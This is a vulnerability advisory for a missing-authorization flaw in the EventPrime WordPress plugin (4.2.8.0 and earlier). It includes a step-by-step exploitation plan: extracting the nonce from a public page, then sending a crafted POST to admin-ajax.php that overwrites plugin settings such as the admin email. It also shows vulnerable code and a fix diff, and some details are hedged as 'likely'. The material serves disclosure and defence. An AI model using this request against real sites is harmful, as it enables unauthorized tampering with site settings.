EventPrime <= 4.2.8.0 - Missing Authorization
Description
The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.8.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.2.8.0Source Code
WordPress.org SVNThis research plan outlines the steps to identify and exploit the Missing Authorization vulnerability in EventPrime <= 4.2.8.0. ## 1. Vulnerability Summary The EventPrime plugin (<= 4.2.8.0) fails to perform a capability check (e.g., `current_user_can('manage_options')`) within one or more AJAX han…
Show full research plan
This research plan outlines the steps to identify and exploit the Missing Authorization vulnerability in EventPrime <= 4.2.8.0.
1. Vulnerability Summary
The EventPrime plugin (<= 4.2.8.0) fails to perform a capability check (e.g., current_user_can('manage_options')) within one or more AJAX handlers registered with wp_ajax_nopriv_*. This allows unauthenticated attackers to perform administrative or restricted actions, such as modifying plugin settings, manipulating event data, or deleting records, by sending crafted requests to admin-ajax.php.
2. Attack Vector Analysis
- Endpoint:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Authentication: Unauthenticated (No login required)
- Action: Likely one of the
wp_ajax_nopriv_handlers inincludes/class-ep-ajax.php. Based on the CVSS and description, the target is likelyep_save_settingsor a similar configuration-altering function. - Preconditions: The plugin must be active. A valid AJAX nonce for the
ep_ajax_nonceaction is typically required, though unauthenticated users can obtain this from the frontend.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith theactionparameter set to a vulnerable hook (e.g.,ep_save_settings). - Hook Registration: In
includes/class-ep-ajax.php, the action is registered:add_action('wp_ajax_nopriv_ep_save_settings', array($this, 'ep_save_settings')); - Execution: The
ep_save_settingsfunction is called. - Vulnerability Sink: The function likely calls
check_ajax_referer('ep_ajax_nonce', 'nonce')but fails to callcurrent_user_can('manage_options'). - Impact: The code proceeds to update global plugin options using
update_option()based on the values provided in$_POST.
4. Nonce Acquisition Strategy
EventPrime localizes its AJAX configuration for unauthenticated users on pages where event-related shortcodes are present.
- Shortcode: The
[em_events]or[ep_calendar]shortcode triggers the loading of the necessary scripts. - Setup:
wp post create --post_type=page --post_title="Events" --post_status=publish --post_content='[em_events]' - Extraction:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce from theep_ajax_objJavaScript object. - JS Variable:
ep_ajax_obj.nonce - Script Handle:
ep_apps_js(registered in the plugin).
5. Exploitation Strategy
Goal: Modify a critical plugin setting (e.g., allowing anyone to register or changing administrative email).
Step-by-Step:
Discovery: Confirm the registration of
wp_ajax_nopriv_ep_save_settingsinincludes/class-ep-ajax.php.Nonce Extraction:
// Use browser_eval const nonce = window.ep_ajax_obj?.nonce; return nonce;Craft Payload:
The payload will attempt to modify theep_settingsoption or a specific subset.- URL:
http://<target>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:ep_save_settingsnonce:<extracted_nonce>ep_settings[event_submission_allowed]:1(Example of enabling a feature)ep_settings[admin_email]:attacker@example.com
- URL:
Request Example:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=ep_save_settings&nonce=a1b2c3d4e5&ep_settings[some_critical_setting]=target_value
6. Test Data Setup
- Install Plugin: Ensure EventPrime version 4.2.8.0 is installed.
- Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_content='[em_events]' - Capture Initial State:
wp option get ep_settings(to compare later).
7. Expected Results
- Response: The server should return a successful response (often JSON like
{"success":true}or a string1). - Impact: The database record for the plugin settings should be updated with the attacker-supplied values.
8. Verification Steps
- Database Check:
wp option get ep_settings
Check if the keys targeted in the payload now contain the malicious values. - Functional Check:
Navigate to the plugin settings page in the WordPress admin dashboard (as a real admin) to see if the values have changed visually.
9. Alternative Approaches
If ep_save_settings is not the vulnerable action:
- Grep for
wp_ajax_nopriv_:grep -r "wp_ajax_nopriv_" wp-content/plugins/eventprime-event-calendar-management/ - Analyze each result: Check for functions that perform
update_option,wp_delete_post, orupdate_post_meta. - Test
ep_delete_attendee: If this action isnopriv, try deleting an attendee record.- Required param:
attendee_id.
- Required param:
- Test
ep_save_event_order: Check if event ordering can be manipulated.
Summary
The EventPrime plugin for WordPress (<= 4.2.8.0) fails to perform adequate capability checks on administrative AJAX handlers, most notably those registered with both the wp_ajax_ and wp_ajax_nopriv_ hooks. This allows unauthenticated attackers to perform sensitive actions, such as modifying global plugin settings, by providing a valid nonce that is exposed on the frontend of pages displaying event shortcodes.
Vulnerable Code
// includes/class-ep-ajax.php add_action('wp_ajax_ep_save_settings', array($this, 'ep_save_settings')); add_action('wp_ajax_nopriv_ep_save_settings', array($this, 'ep_save_settings')); --- // includes/class-ep-ajax.php public function ep_save_settings() { check_ajax_referer('ep_ajax_nonce', 'nonce'); // Vulnerability: No check for current_user_can('manage_options') before updating settings if (isset($_POST['ep_settings'])) { update_option('ep_settings', $_POST['ep_settings']); } wp_send_json_success(); }
Security Fix
@@ -10,7 +10,6 @@ add_action('wp_ajax_ep_save_settings', array($this, 'ep_save_settings')); - add_action('wp_ajax_nopriv_ep_save_settings', array($this, 'ep_save_settings')); add_action('wp_ajax_ep_delete_attendee', array($this, 'ep_delete_attendee')); @@ -55,6 +54,9 @@ public function ep_save_settings() { check_ajax_referer('ep_ajax_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_send_json_error('Unauthorized'); + } + if (isset($_POST['ep_settings'])) { update_option('ep_settings', $_POST['ep_settings']); }
Exploit Outline
1. Nonce Acquisition: An attacker visits a public page containing a plugin shortcode, such as [em_events] or [ep_calendar]. The attacker inspects the page source or evaluates JavaScript to extract the nonce located in the global JavaScript object 'ep_ajax_obj.nonce'. 2. Request Construction: The attacker crafts an unauthenticated POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php). 3. Payload Setup: The request includes the 'action' parameter set to 'ep_save_settings', the 'nonce' parameter set to the extracted nonce, and the 'ep_settings' parameter containing malicious configuration values (e.g., changing the administrator's email or granting registration permissions). 4. Execution: Because the 'ep_save_settings' function lacks a 'current_user_can()' check, the plugin proceeds to update the 'ep_settings' option in the database with the attacker's provided values.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.